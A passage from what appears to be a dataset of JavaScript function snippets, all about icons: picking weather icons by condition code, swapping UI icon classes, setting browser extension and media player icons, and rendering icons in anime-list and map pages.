\" + all_weather;\r\n case \"motorhome\":\r\n return motorhome + \" \" + all_weather + electrical;\r\n case \"all\":\r\n return tent + \" \" + caravan + \" \" + motorhome + \" \" + electrical;\r\n case \"all-manage\":\r\n return \"<div class='row'>\" + tent + \" \" + caravan + \"</div><div class='row'>\" + motorhome + \" \" + electrical + \"</div>\";\r\n default:\r\n return \"N/A\";\r\n }\r\n}", "function getWeatherIcon(wData){\n var weatherIcon = '';\n switch(wData.icon){\n case 'clear-day' : \n weatherIcon = '<img height=\"75\" class=\"weatherIcon\" onload=\"javascript:$(this).show()\" style=\"display:none;\" src=\"../../../img/weather_icons/clear.png\" />';\n break;\n case 'clear-night' : \n weatherIcon = '<img height=\"75\" class=\"weatherIcon\" onload=\"javascript:$(this).show()\" style=\"display:none;\" src=\"../../../img/weather_icons/clear.png\" />';\n break;\n case 'rain' : \n weatherIcon = '<img height=\"75\" class=\"weatherIcon\" onload=\"javascript:$(this).show()\" style=\"display:none;\" src=\"../../../img/weather_icons/rain.png\" />';\n break;\n case 'snow' : \n weatherIcon = '<img height=\"75\" class=\"weatherIcon\" onload=\"javascript:$(this).show()\" style=\"display:none;\" src=\"../../../img/weather_icons/snow.png\" />';\n break;\n case 'sleet' : \n weatherIcon = '<img height=\"75\" class=\"weatherIcon\" onload=\"javascript:$(this).show()\" style=\"display:none;\" src=\"../../../img/weather_icons/sleet.png\" />';\n break;\n case 'wind' : \n weatherIcon = '<img height=\"75\" class=\"weatherIcon\" onload=\"javascript:$(this).show()\" style=\"display:none;\" src=\"../../../img/weather_icons/wind.png\" />';\n break;\n case 'fog' : \n weatherIcon = '<img height=\"75\" class=\"weatherIcon\" onload=\"javascript:$(this).show()\" style=\"display:none;\" src=\"../../../img/weather_icons/fog.png\" />';\n break;\n case 'cloudy' : \n weatherIcon = '<img height=\"75\" class=\"weatherIcon\" onload=\"javascript:$(this).show()\" style=\"display:none;\" src=\"../../../img/weather_icons/cloudy.png\" />';\n break;\n case 'partly-cloudy-day' : \n weatherIcon = '<img height=\"75\" class=\"weatherIcon\" onload=\"javascript:$(this).show()\" style=\"display:none;\" src=\"../../../img/weather_icons/partly_cloudy.png\" />';\n break;\n case 'partly-cloudy-night' : \n weatherIcon = '<img height=\"75\" class=\"weatherIcon\" onload=\"javascript:$(this).show()\" style=\"display:none;\" src=\"../../../img/weather_icons/partly_cloudy.png\" />';\n break;\n default :\n weatherIcon = '<img height=\"75\" class=\"weatherIcon\" onload=\"javascript:$(this).show()\" style=\"display:none;\" src=\"../../../img/weather_icons/clear.png\" />';\n break;\n }\n return weatherIcon;\n\n }", "getIcon_() {\n return this.isCloudGamingDevice_ ? 'oobe-32:game-controller' :\n 'oobe-32:checkmark';\n }", "function mapper_page_paint_icons() {\n\n if( glyph_url != null ) return;\n\n if(true) { \n glyph_post = \"/dynamapper/icons/weather-clear.png\";\n var feature = {};\n feature[\"kind\"] = \"icon\";\n feature[\"image\"] = glyph_post;\n feature[\"iconSize\"] = [ 32, 32 ];\n feature[\"iconAnchor\"] = [ 9, 34 ];\n feature[\"iconWindowAnchor\"] = [ 9, 2 ];\n mapper_inject_feature(feature);\n }\n\n if(true) {\n glyph_person = \"/dynamapper/icons/emblem-favorite.png\";\n var feature = {};\n feature[\"kind\"] = \"icon\";\n feature[\"image\"] = glyph_person;\n feature[\"iconSize\"] = [ 32, 32 ];\n feature[\"iconAnchor\"] = [ 9, 34 ];\n feature[\"iconWindowAnchor\"] = [ 9, 2 ];\n mapper_inject_feature(feature);\n }\n\n if(true) {\n glyph_url = \"/dynamapper/icons/emblem-important.png\";\n var feature = {};\n feature[\"kind\"] = \"icon\";\n feature[\"image\"] = glyph_url;\n feature[\"iconSize\"] = [ 32, 32 ];\n feature[\"iconAnchor\"] = [ 9, 34 ];\n feature[\"iconWindowAnchor\"] = [ 9, 2 ];\n mapper_inject_feature(feature);\n }\n}", "function updateActionIcons(table) {\n /**\n var replacement = \n {\n 'ui-icon-pencil' : 'icon-pencil blue',\n 'ui-icon-trash' : 'icon-trash red',\n 'ui-icon-disk' : 'icon-ok green',\n 'ui-icon-cancel' : 'icon-remove red'\n };\n $(table).find('.ui-pg-div span.ui-icon').each(function(){\n var icon = $(this);\n var $class = $.trim(icon.attr('class').replace('ui-icon', ''));\n if($class in replacement) icon.attr('class', 'ui-icon '+replacement[$class]);\n })\n */\n }", "__toggleIcon(state) { \n switch (state) {\n case 1:\n return 'notification:sync';\n case 2:\n return 'notification:sync-problem';\n default:\n return 'notification:sync-disabled';\n }\n }", "function setUIIcon() {\n\t//var icon = \"\";\n\tvar numberOfPending = pendingCredentials.length;\n\t/*if (numberOfPending > 0) icon = \"icon2.png\";\n\telse icon = \"icon1.png\";*/\n\n\t//chrome.browserAction.setIcon({path: icon}); //Set the icon\n\tchrome.browserAction.setBadgeText({text: numberOfPending.toString()}); //Set the number of pending credentials\n}", "function updateVolumeIcon() {\n volumeIcons.forEach(icon => {\n icon.classList.add('hidden');\n });\n\n volumeButton.setAttribute('data-title', 'Mute (m)')\n\n if (video.muted || video.volume === 0) {\n volumeMute.classList.remove('hidden');\n volumeButton.setAttribute('data-title', 'Unmute (m)')\n } else if (video.volume > 0 && video.volume <= 0.5) {\n volumeLow.classList.remove('hidden');\n } else {\n volumeHigh.classList.remove('hidden');\n }\n}", "function updateActionIcons(table) {\r\n /**\r\n var replacement =\r\n {\r\n 'ui-icon-pencil' : 'icon-pencil blue',\r\n 'ui-icon-trash' : 'icon-trash red',\r\n 'ui-icon-disk' : 'icon-ok green',\r\n 'ui-icon-cancel' : 'icon-remove red'\r\n };\r\n $(table).find('.ui-pg-div span.ui-icon').each(function(){\r\n var icon = $(this);\r\n var $class = $.trim(icon.attr('class').replace('ui-icon', ''));\r\n if($class in replacement) icon.attr('class', 'ui-icon '+replacement[$class]);\r\n })\r\n */\r\n }", "function renderIcons() {\r\n\t\te.renderIcon('#logo', 'logo');\r\n\t\t//e.renderIcon('#loading_msglogo','logo');\r\n\t\te.renderIcon('.menu_icon', 'user_management');\r\n\t\te.renderIcon('.menu_click', 'user_management');\r\n\t\te.renderIcon('.notification', 'notification');\r\n\t\te.renderIcon('header .analysis_status .analysis_icon', 'analysis');\r\n\t\te.renderFontIcon('.input_clear_icon', 'ic-close-sm');\r\n\t\te.renderFontIcon('.search_icon', 'ic-search');\r\n\t\te.renderIcon('#add_bookmark', 'bookmarks');\r\n\t\te.renderIcon('#add_bookmark1', 'bookmarks');\r\n\t\te.renderFontIcon('.tag_icon', 'ic-tags');\r\n\t\t$(document).foundation();\r\n\t\tg.init();\r\n\t}", "deriveIcon(announcementLevel) {\n let iconName = \"\";\n if (announcementLevel.indexOf(\"Low\") > -1) { iconName = \"ms-Icon--star\"; }\n else if (announcementLevel.indexOf(\"Medium\") > -1) { iconName = \"ms-Icon--infoCircle\"; }\n else if (announcementLevel.indexOf(\"High\") > -1) { iconName = \"ms-Icon--alert\"; }\n return \"<i class=\\\"ms-Icon \" + iconName + \"\\\" aria-hidden=\\\"true\\\"></i>\";\n }", "function updateActionIcons(table) {\n /**\n var replacement =\n {\n 'ui-icon-pencil' : 'icon-pencil blue',\n 'ui-icon-trash' : 'icon-trash red',\n 'ui-icon-disk' : 'icon-ok green',\n 'ui-icon-cancel' : 'icon-remove red'\n };\n $(table).find('.ui-pg-div span.ui-icon').each(function(){\n\t\tvar icon = $(this);\n\t\tvar $class = $.trim(icon.attr('class').replace('ui-icon', ''));\n\t\tif($class in replacement) icon.attr('class', 'ui-icon '+replacement[$class]);\n\t})\n */\n}", "function addWeatherIcon(setWeatherCondition){\n let iconURL; \n switch(setWeatherCondition){\n case 'Clear':\n iconURL = \"http://openweathermap.org/img/wn/01d@2x.png\";\n weatherConditionIcon.attr('src', iconURL)\n break;\n case 'Clouds':\n iconURL = \"http://openweathermap.org/img/wn/04d@2x.png\";\n weatherConditionIcon.attr('src', iconURL)\n break; \n case 'Drizzle':\n iconURL = \"http://openweathermap.org/img/wn/09d@2x.png\";\n weatherConditionIcon.attr('src', iconURL)\n break;\n case 'Rain':\n iconURL = \"http://openweathermap.org/img/wn/10d@2x.png\";\n weatherConditionIcon.attr('src', iconURL)\n break; \n case 'Thunderstorm':\n iconURL = \"http://openweathermap.org/img/wn/11d@2x.png\";\n weatherConditionIcon.attr('src', iconURL)\n break;\n case 'Snow':\n iconURL = \"http://openweathermap.org/img/wn/13d@2x.png\";\n weatherConditionIcon.attr('src', iconURL)\n break;\n case 'Mist':\n case 'Smoke':\n case 'Haze':\n case 'Dust':\n case 'Fog':\n case 'sand':\n case 'Ash':\n case 'Squall':\n case 'Tornado':\n iconURL = \"http://openweathermap.org/img/wn/50d@2x.png\";\n weatherConditionIcon.attr('src', iconURL)\n break;\n default: \n console.log(\"Issue with the icons\");\n console.log(setWeatherCondition);\n };\n }", "function changeSupportSkillIcon(elem)\n{\t\n \n \tif( $(elem).attr(\"src\") == IMAGE_PATH+\"/icon-support-hover.png\" )\n\t\t{\n \t\t$(elem).attr(\"src\",IMAGE_PATH+\"/icon-support-hover.png\");\n\t\t}\n \telse\n\t\t{\n\t\t\t$(elem).attr(\"src\",IMAGE_PATH+\"/icon-support.png\");\n\t\t}\n \t\n}", "renderIcon() {\n if (!this.state.edittable) {\n return (\n <Ionicon\n icon=\"ion-edit\"\n fontSize=\"20px\"\n color=\"white\"\n style={{position: 'relative', right: '4px', top: '5px'}}\n />\n\n );\n }else if (this.state.mapEditted) {\n return (\n <Ionicon\n icon=\"ion-checkmark-round\"\n fontSize=\"25px\"\n color=\"#00FF00 \"\n style={{position: 'relative', right: '7px', top: '7px'}}\n />\n );\n } else {\n return (\n <Ionicon\n icon=\"ion-checkmark-round\"\n fontSize=\"25px\"\n color=\"#bfbfbf\"\n style={{position: 'relative', right: '7px', top: '7px'}}\n />\n );\n }\n }", "function updateActionIcons(table) {\n $('.ui-pg-button div .iconfont').removeClass('ui-icon');\n $('.icon-cheng').css(\"margin-top\",\"-1px\");\n\n var replacement =\n {\n 'ui-ace-icon fa fa-pencil' : 'ace-icon fa fa-pencil blue',\n 'ui-ace-icon fa fa-trash-o' : 'ace-icon fa fa-trash-o red',\n 'ui-icon-disk' : 'ace-icon fa fa-check green',\n 'ui-icon-cancel' : 'ace-icon fa fa-times red'\n };\n\n $(table).find('.ui-pg-div span.ui-icon').each(function(){\n\t\t\t\t\t\tvar icon = $(this);\n\t\t\t\t\t\tvar $class = $.trim(icon.attr('class').replace('ui-icon', ''));\n\t\t\t\t\t\tif($class in replacement) icon.attr('class', 'ui-icon '+replacement[$class]);\n\t\t\t\t\t})\n}", "function updateIcon() {\n\tconst ctrl = document.querySelector('.player__button[title=\"Toggle Play\"]');\n\tif(video_application.paused) {\n\t\tctrl.textContent = '>';\n\t}\n\telse {\n\t\tctrl.textContent = '||';\n\t}\n}", "function createIcon(iconType, nameIcon){\n if(iconType == 1){\n return ' <i class=\"material-icons prefix\">'+nameIcon+'</i>\\n';\n }else{\n return ' <i class=\"'+nameIcon+' prefix\"></i>\\n';\n }\n}", "function setChooseIcon() {\n if (subscriptionStartByMonth == today.getMonth()+1) {\n if (subscriptionEndByMonth == today.getMonth()+1) {\n for (let i = 1; i < days.length; i++) {\n if ($(days[i]).text() >= subscriptionStartByDay && $(days[i]).text() != \"-\" && $(days[i]).text() <= subscriptionEndByDay ) {\n $($(days[i]).siblings().children()[0]).attr(\"src\", \"icons/choose.png\");\n $($(days[i]).parent()).attr({\"data-bs-target\":\"#exampleModalToggle2\", \"data-bs-toggle\":\"modal\", \"data-bs-dismiss\":\"modal\"});\n \n }\n }\n } \n else if(subscriptionEndByMonth > today.getMonth()+1 || subscriptionEndByMonth < today.getMonth()+1){\n for (let i = 1; i < days.length; i++) {\n if ($(days[i]).text() >= subscriptionStartByDay && $(days[i]).text() != \"-\" && $(days[i]).text() <= CurrentDaysInMonth ) {\n $($(days[i]).siblings().children()[0]).attr(\"src\", \"icons/choose.png\");\n $($(days[i]).parent()).attr({\"data-bs-target\":\"#exampleModalToggle2\", \"data-bs-toggle\":\"modal\", \"data-bs-dismiss\":\"modal\"});\n }\n }\n }\n setIconToPrevDays(\"Current\")\n } \n else if(subscriptionStartByMonth < today.getMonth()+1){\n if (subscriptionEndByMonth == today.getMonth()+1) {\n for (let i = 1; i < days.length; i++) {\n if ($(days[i]).text() >= 1 && $(days[i]).text() != \"-\" && $(days[i]).text() <= subscriptionEndByDay ) {\n $($(days[i]).siblings().children()[0]).attr(\"src\", \"icons/choose.png\");\n $($(days[i]).parent()).attr({\"data-bs-target\":\"#exampleModalToggle2\", \"data-bs-toggle\":\"modal\", \"data-bs-dismiss\":\"modal\"});\n }\n }\n setIconToPrevDays(\"Prev\")\n }\n else if(subscriptionEndByMonth > today.getMonth()+1 || subscriptionEndByMonth < today.getMonth()+1){\n for (let i = 1; i < days.length; i++) {\n if ($(days[i]).text() >= 1 && $(days[i]).text() != \"-\" && $(days[i]).text() <= CurrentDaysInMonth ) {\n $($(days[i]).siblings().children()[0]).attr(\"src\", \"icons/choose.png\");\n $($(days[i]).parent()).attr({\"data-bs-target\":\"#exampleModalToggle2\", \"data-bs-toggle\":\"modal\", \"data-bs-dismiss\":\"modal\"});\n }\n }\n setIconToPrevDays(\"Prev\")\n }\n }\n }", "function setIcon(stallsFree) {\n if (stallsFree == 0) {\n refreshIcon(c_red);\n } else if (stallsFree == 1) {\n refreshIcon(c_yellow);\n } else {\n refreshIcon(c_green);\n }\n}", "updateExpandIcon() {}", "function updateActionIcons(table) {\n /**\n var replacement = \n {\n 'ui-icon-pencil' : 'icon-pencil blue',\n 'ui-icon-trash' : 'icon-trash red',\n 'ui-icon-disk' : 'icon-ok green',\n 'ui-icon-cancel' : 'icon-remove red'\n };\n $(table).find('.ui-pg-div span.ui-icon').each(function(){\n var icon = $(this);\n var $class = $.trim(icon.attr('class').replace('ui-icon', ''));\n if($class in replacement) icon.attr('class', 'ui-icon '+replacement[$class]);\n })\n */\n}", "function cargarIconos(){\n // iconos para mostrar puntos\n estilosMarcadores[\"carga\"] = styles.marcadorCarga();\n estilosMarcadores[\"traslado\"] = styles.marcadorTraslado();\n }", "function playerIcon(player) {\n // There will only be 2 players: X and O\n return player === 'X' ? 'clear' : 'lens'; \n\n}", "function createEpisodeIcons(episode) {\r\n\tvar icons = new Object();\r\n\tif (LAY_FILEMODE == '1') {\r\n\t\tvar a = createIcon(null, '[-]', null, episodeEntriesWork, 'Fold this entry', 'i_collapse');\r\n\t\ta.style.cursor = 'pointer';\r\n\t\ticons['expand'] = a;\r\n\t} else {\r\n\t\tvar a = createIcon(null, '[+]', null, episodeEntriesWork, 'Expand this entry', 'i_expand');\r\n\t\ta.style.cursor = 'pointer';\r\n\t\ticons['expand'] = a;\r\n\t}\r\n\tvar mylistEpEntries = findMylistEpEntries(episode.id);\r\n\tif (mylistEpEntries.length) {\r\n\t\t// Loop to see if an entry should get a status, and file state\r\n\t\tvar stateFiles = new Object();\r\n\t\tvar statusFiles = new Object();\r\n\t\ticons['state'] = new Array();\r\n\t\ticons['fstate'] = new Array();\r\n\t\tfor (var me = 0; me < mylistEpEntries.length; me++) {\r\n\t\t\tvar mylistEntry = mylistEpEntries[me];\r\n\t\t\tif (mylistEntry.filetype != 'generic') {\r\n\t\t\t\tif (isNaN(statusFiles[mylistEntry.status])) statusFiles[mylistEntry.status] = 1;\r\n\t\t\t\telse statusFiles[mylistEntry.status]++;\r\n\t\t\t}\r\n\t\t\tif (isNaN(stateFiles[mylistEntry.fstate])) stateFiles[mylistEntry.fstate] = 1;\r\n\t\t\telse stateFiles[mylistEntry.fstate]++;\r\n\t\t}\r\n\t\tfor (var st in statusFiles) {\r\n\t\t\tvar status = statusFiles[st];\r\n\t\t\tif (isNaN(status)) continue;\r\n\t\t\t//if (status == null || !status) continue;\r\n\t\t\tvar stClass = 'i_icon i_state_'+mapMEStatusName(st);\r\n\t\t\tvar txt = status + ' file' + (status > 1 ? 's' : '') + ' with status: '+st;\r\n\t\t\ticons['state'].push(createLink(null, txt, 'http://wiki.anidb.net/w/Filetype', 'anidb::wiki', null, txt, stClass));\r\n\t\t}\r\n\t\tfor (var st in stateFiles) {\r\n\t\t\tif (st == 'indexOf' || st == 'unknown') continue;\r\n\t\t\tvar state = stateFiles[st];\r\n\t\t\tif (isNaN(state)) continue;\r\n\t\t\t//if (state == null || !state) continue;\r\n\t\t\tvar stClass = 'i_icon '+mapFState(st);\r\n\t\t\tvar txt = state + ' file' + (state > 1 ? 's' : '') + ' with state: '+st;\r\n\t\t\ticons['fstate'].push(createLink(null, txt, 'http://wiki.anidb.net/w/Filetype', 'anidb::wiki', null, txt, stClass));\r\n\t\t}\r\n\t\tif (episode.seenDate)\r\n\t\t\ticons['seen'] = createIcon(null, 'seen ', null, null, 'seen on: '+cTimeDateHour(episode.seenDate), 'i_checkmark');\r\n\t} else if (mylist.length) { // for the case where the episode is related to some file\r\n\t\tfor (var fe = 0; fe < episode.files.length; fe++) {\r\n\t\t\tvar fid = episode.files[fe];\r\n\t\t\tif (!mylist[fid]) continue;\r\n\t\t\tif (mylist[fid].seenDate) {\r\n\t\t\t\tepisode.seenDate = mylist[fid].seenDate;\r\n\t\t\t\ticons['seen'] = createIcon(null, 'seen ', null, null, 'seen on: '+cTimeDateHour(episode.seenDate), 'i_checkmark');\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\t\r\n\t}\r\n\tif (episode.isRecap) icons['recap'] = createIcon(null, '[recap] ', null, null, 'This episode is a recap (summary).', 'i_recap');\r\n\tif (episode.other) icons['comment'] = createIcon(null, '[cmt] ',null, null, 'Comment: '+episode.other, 'i_comment');\r\n\treturn icons;\r\n}", "teamifyIcon(){\r\n if(this.color == \"red\"){\r\n L.DomUtil.addClass(this.#icon._icon, 'eastIcon');\r\n } else\r\n if(this.color == \"blue\"){\r\n L.DomUtil.addClass(this.#icon._icon, 'westIcon');\r\n } else\r\n if(this.color == \"green\"){\r\n L.DomUtil.addClass(this.#icon._icon, 'centralIcon');\r\n }else \r\n if(this.color == \"purple\"){\r\n L.DomUtil.addClass(this.#icon._icon, 'gallifrayIcon');\r\n }\r\n }", "function createAnimeIcons(anime) {\r\n\tvar icons = new Object();\r\n\tvar a = createIcon(null, '[+]', null, animeEntriesWork, 'Expand this entry', 'i_expand');\r\n\ta.style.cursor = 'pointer';\r\n\ticons['expand'] = a;\r\n\t/*\r\n\ta = createIcon(null, '[-]', null, null, 'Collapse this entry', 'i_collapse');\r\n\ta.style.cursor = 'pointer';\r\n\ticons['expand'] = a; */\r\n\ticons['status'] = createLink(null, 'Status: '+anime.state, 'http://wiki.anidb.net/w/Filetype', 'anidb::wiki', null, 'Status: '+anime.state, 'i_icon i_state_'+mapMEStatusName(anime.state));\r\n\ticons['type'] = createIcon(null, '['+anime.type+']', null, null, 'Type: '+anime.type, 'i_'+anime.type.toLowerCase().replace(' ','_'));\r\n\tif (anime.hasawards) icons['awards'] = createIcon(null, '[*]', null, null, 'This anime has awards', 'i_araward');\r\n\tif (anime.wishlist) {\r\n\t\tvar tooltip = anime.wishlist['pri'] + ' priority';\r\n\t\tif (anime.wishlist['type'] && anime.wishlist['type'] != 'undefined') tooltip += ' '+ anime.wishlist['type'] + ' anime'\r\n\t\tif (anime.wishlist['comment'] && anime.wishlist['comment'] != '') tooltip += ', comment: '+anime.wishlist['comment'];\r\n\t\ticons['wishlist'] = createIcon(null, '[w]', null, null, tooltip, 'i_pri_'+anime.wishlist['pri']);\r\n\t}\r\n\treturn icons;\r\n}", "function getIcon(weather) {\n switch (weather.current.condition.code){\n case 1063:\n case 1180:\n case 1183:\n case 1186:\n case 1189:\n case 1198:\n case 1204:\n case 1249:\n case 1255:\n case 1261:\n case 1273:\n return \"weather-showers-scattered.png\";\n case 1087:\n case 1192:\n case 1195:\n case 1201:\n case 1207:\n case 1240:\n case 1243:\n case 1246:\n case 1252:\n case 1258:\n case 1264:\n case 1276:\n return \"weather-showers.png\";\n case 1066:\n case 1069:\n case 1072:\n case 1114:\n case 1117:\n case 1147:\n case 1150:\n case 1153:\n case 1168:\n case 1171:\n case 1210:\n case 1213:\n case 1216:\n case 1219:\n case 1222:\n case 1225:\n case 1237:\n case 1279:\n case 1282:\n return \"weather-snow.png\";\n case 1003:\n case 1006:\n return \"weather-few-clouds.png\";\n case 1000:\n return \"weather-clear.png\"\n case 1009:\n\n return \"weather-overcast.png\";\n }\n return \"weather-fog.png\";\n}", "function getIcon(){\r\n switch (e['eventtype']) {\r\n case \"residential\": return \"img/house.png\";\r\n\r\n case \"commercial\": return \"img/commercial.png\";\r\n\r\n case \"charity\": return \"img/charity.png\"\r\n\r\n }\r\n }", "function setIcon(icon, id) {\n id = id.substring(1); // Remove the # from the ID.\n switch (icon) {\n case \"01d\":\n icons.set(id, Skycons.CLEAR_DAY);\n break;\n case \"01n\":\n icons.set(id, Skycons.CLEAR_NIGHT);\n break;\n case \"02d\":\n icons.set(id, Skycons.PARTLY_CLOUDY_DAY);\n break;\n case \"02n\":\n icons.set(id, Skycons.PARTLY_CLOUDY_NIGHT);\n break;\n case \"03d\":\n icons.set(id, Skycons.CLOUDY);\n break;\n case \"03n\":\n icons.set(id, Skycons.CLOUDY);\n break;\n case \"04d\":\n icons.set(id, Skycons.CLOUDY);\n break;\n case \"04n\":\n icons.set(id, Skycons.CLOUDY);\n break;\n case \"09d\":\n icons.set(id, Skycons.RAIN);\n break;\n case \"09n\":\n icons.set(id, Skycons.RAIN);\n break;\n case \"10d\":\n icons.set(id, Skycons.RAIN);\n break;\n case \"10n\":\n icons.set(id, Skycons.RAIN);\n break;\n case \"11d\":\n icons.set(id, Skycons.THUNDER);\n break;\n case \"11n\":\n icons.set(id, Skycons.THUNDER);\n break;\n case \"13d\":\n icons.set(id, Skycons.SNOW);\n break;\n case \"13n\":\n icons.set(id, Skycons.SNOW);\n break;\n case \"50d\":\n icons.set(id, Skycons.FOG);\n break;\n case \"50n\":\n icons.set(id, Skycons.FOG);\n break;\n case \"w\":\n icons.set(id, Skycons.WIND);\n break;\n case \"s\":\n icons.set(id, Skycons.SLEET);\n break;\n default:\n icons.set(id, Skycons.CLEAR_DAY);\n }\n}", "function changeIcon() {\n copyBtn.firstElementChild.classList.remove('bi-clipboard');\n copyBtn.firstElementChild.classList.add('bi-check-lg');\n\n setTimeout(function() {\n copyBtn.firstElementChild.classList.remove('bi-check-lg');\n copyBtn.firstElementChild.classList.add('bi-clipboard');\n }, 3000);\n}", "function initIconAnimations()\n{\n\t// Timeline Markers Definitions\t\n\ttlIcon.addLabel(\"dockParts\", iconAnimationStartTime);\n\ttlIcon.addLabel(\"bulbOn\", (copyBatch2StartTime + 1));\n\t\n\t// Animation Definitions\n\tdockParts();\n\ttlIcon.to([bulbB, rays], 0.6, {opacity:1}, \"bulbOn\");\n\t// End Animation\n}", "function setControlsIcon(icon)\n {\n\n // check for which icon\n if (icon == \"play\")\n {\n $(\".audio-controls svg\").addClass(\"hidden\");\n $(\".audio-controls svg.icon-play\").removeClass(\"hidden\");\n } else if (icon == \"pause\")\n {\n $(\".audio-controls svg\").addClass(\"hidden\");\n $(\".audio-controls svg.icon-pause\").removeClass(\"hidden\");\n }\n\n }", "function weatherIcon(weather) {\n if (weather > 800) {\n icon = String.fromCodePoint(0x1F325);\n }\n else if (weather == 800) {\n icon = String.fromCodePoint(0x2600);\n }\n else if (weather > 299 && weather < 600) {\n icon = String.fromCodePoint(0x1F327);\n }\n else if (weather < 300) {\n icon = String.fromCodePoint(0x26C8);\n }\n else if (weather > 599 && weather < 700) {\n icon = String.fromCodePoint(0x1F328);\n }\n else {\n icon = String.fromCodePoint(0x1F32B);\n }\n}", "function switchIcon(val){\n\tvar weather = \"\";\n\tswitch (val){\n\t\tcase '01d':\n\t\t\t//clear sky - day\n\t\t\tweather = '<img style=\"top:1.75px\" id = \"sunIcon\" src=\"graphics/sun.png\">'\n\t\t\tbreak;\n\t\tcase '02d':\n\t\t\t// few clouds - day\n\t\t\tweather = '<img style=\"top:6px;\" src=\"graphics/cloud.png\">'\n\t\t\tbreak;\n\t\tcase '03d':\n\t\t\t// scattered clouds - day\n\t\t\tweather = '<img style=\"top:6px;\" src=\"graphics/cloud.png\">'\n\t\t\tbreak; \n\t\tcase '04d':\n\t\t\t// broken clouds - day\n\t\t\tweather = '<img style=\"top:6px;\" src=\"graphics/cloud.png\">'\n\t\t\tbreak; \n\t\tcase '09d':\n\t\t\t// shower rain - day\n\t\t\tweather = '<img src=\"graphics/rain.png\">'\n\t\t\tbreak; \n\t\tcase '10d':\n\t\t\t// rain - day\n\t\t\tweather = '<img src=\"graphics/rain.png\">'\n\t\t\tbreak; \n\t\tcase '11d':\n\t\t\t// thunderstorm - day\n\t\t\tweather = '<img style=\"top:3px;\" src=\"graphics/lightning.png\">'\n\t\t\tbreak;\n\t\tcase '13d':\n\t\t\t// snow - day\n\t\t\tweather = '<img style=\"top:3px;\" src=\"graphics/snow\">'\n\t\t\tbreak;\n\t\tcase '50d':\n\t\t\t//mist - day\n\t\t\tweather = '<img style=\"top:6px;\" src=\"graphics/cloud.png\">'\n\t\t\tbreak;\n\t}\t\t\n\treturn weather;\n}", "showLevelIcons() {\n easy.render();\n medium.render();\n hard.render();\n }", "function updateBrowserIcon() {\n if (browserIconCtx) chromeBrowserAction.setIcon({ imageData: { \"38\": browserIconCtx.getImageData(0, 0, 38, 38) } });\n }", "function setEndIcon() {\n if (subscriptionStartByMonth <= today.getMonth()+1) {\n if (subscriptionEndByMonth == today.getMonth()+1) {\n for (let i = 0; i < days.length; i++) {\n if ($(days[i]).text() == subscriptionEndByDay) {\n $($(days[i+1]).parent()).attr({\"data-bs-target\":\"\", \"data-bs-dismiss\":\"\"});\n $($($(days[i+1]).parent().children()[1]).children()[0]).attr(\"src\", \"icons/end.png\");\n }\n }\n }\n }\n else{\n $(\"#exampleModalToggleLabel p\").text(\"Your subscription plan did not start yet!\")\n }\n }", "function getIcon (level) { \n var l = level; \n\n if (l < 30) {\n return './images/green_cont.png';\n\n } else if (l < 70) {\n return './images/yellow_cont.png';\n\n } else {\n return './images/red_cont.png';\n };\n}", "function showChangeIcon(fieldId) {\n var fieldMarkerSpan = jq(\"#\" + fieldId + \"_attribute_markers\");\n var fieldIcon = jq(\"#\" + fieldId + \"_changeIcon\");\n\n if (fieldMarkerSpan.length > 0 && fieldIcon.length == 0) {\n fieldMarkerSpan.append(\"<img id='\" + fieldId + \"_changeIcon' alt='change' src='\" + getConfigParam(\"kradImageLocation\") + \"asterisk_orange.png'>\");\n }\n}", "function icons() {\r\n var arr = [], style = 'style=\"width:18px\"';\r\n if (iconMapper.map(link)) add(iconMapper.map(link));\r\n if (iconMapper.map(obj.Type)) add(iconMapper.map(obj.Type));\r\n if (reg !== 'Message' && iconMapper.map(reg)) add(iconMapper.map(reg));\r\n if (detail.contains('email')) add(iconMapper.map('email'));\r\n if (detail.contains('SMS')) add(iconMapper.map('sms'));\r\n\r\n //make sure there is exactly 2 icons\r\n arr.first(2);\r\n while (arr.length < 2) {\r\n arr.push('icon-blank');\r\n }\r\n\r\n if (arr.length) {\r\n return '<i ' + style + ' class=\"' + arr.join(' icon-large muted disp-ib\"></i> <i ' + style + ' class=\"') + ' icon-large muted disp-ib\"></i> ';\r\n } else {\r\n return '';\r\n }\r\n function add(i) {\r\n if (!arr.contains(i)) arr.push(i);\r\n }\r\n }", "function updateIcon (iconEnabled, color = 'red') {\n if (iconEnabled === true) {\n browser.pageAction.setIcon({\n path: currentBookmark ? {\n 32: `icons/star/star-${color}-32.png`,\n 64: `icons/star/star-${color}-64.png`,\n 128: `icons/star/star-${color}-128.png`,\n 256: `icons/star/star-${color}-256.png`,\n 512: `icons/star/star-${color}-512.png`\n } : {\n 32: 'icons/empty/empty-32.png',\n 64: 'icons/empty/empty-64.png',\n 128: 'icons/empty/empty-128.png',\n 256: 'icons/empty/empty-256.png',\n 512: 'icons/empty/empty-512.png'\n },\n tabId: currentTab.id\n })\n browser.pageAction.setTitle({\n title: currentBookmark ? 'Remove this bookmark' : 'Quick bookmark this page',\n tabId: currentTab.id\n })\n } else {\n browser.pageAction.setIcon({\n path: {\n 32: 'icons/cross/cross-32.png',\n 64: 'icons/cross/cross-64.png',\n 128: 'icons/cross/cross-128.png',\n 256: 'icons/cross/cross-256.png',\n 512: 'icons/cross/cross-512.png'\n },\n tabId: currentTab.id\n })\n browser.pageAction.setTitle({\n title: 'The quick bookmark icon is disabled',\n tabId: currentTab.id\n })\n }\n}", "function addIconsToMasthead () {\n\t\t// Add the new right-align container and put the icons and the search container into it.\n\t\tmastheadLinklist.iconsonly.$el = $('<div class=\"ibm-masthead-rightside\">'+ mastheadLinklist.iconsonly.html + '</div>').prepend($(\"#ibm-search-module\")).insertAfter(\"#ibm-menu-links\");\n\t\t$profileMenu = mastheadLinklist.iconsonly.$el.find(\".ibm-masthead-item-signin\");\n\n\t\tconvertSearchSubmitToButton();\n\t}", "function setIcons(iconType, shouldRenderMissions = true) {\n localStorage.setItem('IconConfig', iconType);\n $('.config-icon').removeClass('active');\n $(`#config-icon-${iconType}`).addClass('active');\n \n if (shouldRenderMissions) {\n renderMissions();\n }\n}", "function addIcon(name, data) {\n storage[name] = icon.fullIcon(data);\n}", "getIcon() {\n return \"document-cook\";\n }", "function SetModificableTags()\n{\n for (var i = 0; i < modificableTagsID.length; i++)\n {\n //Handling image modification\n if (modificableTagsName[i] == \"IMG\")\n {\n console.log(\"Sto modificando una immagine\");\n $(\"#\" + modificableTagsID[i]).attr(\"src\", modificableTagsValue[i]);\n }\n else\n {\n $(\"#\" + modificableTagsID[i]).text(modificableTagsValue[i]);\n }\n }\n}", "function updateIcons() {\n if 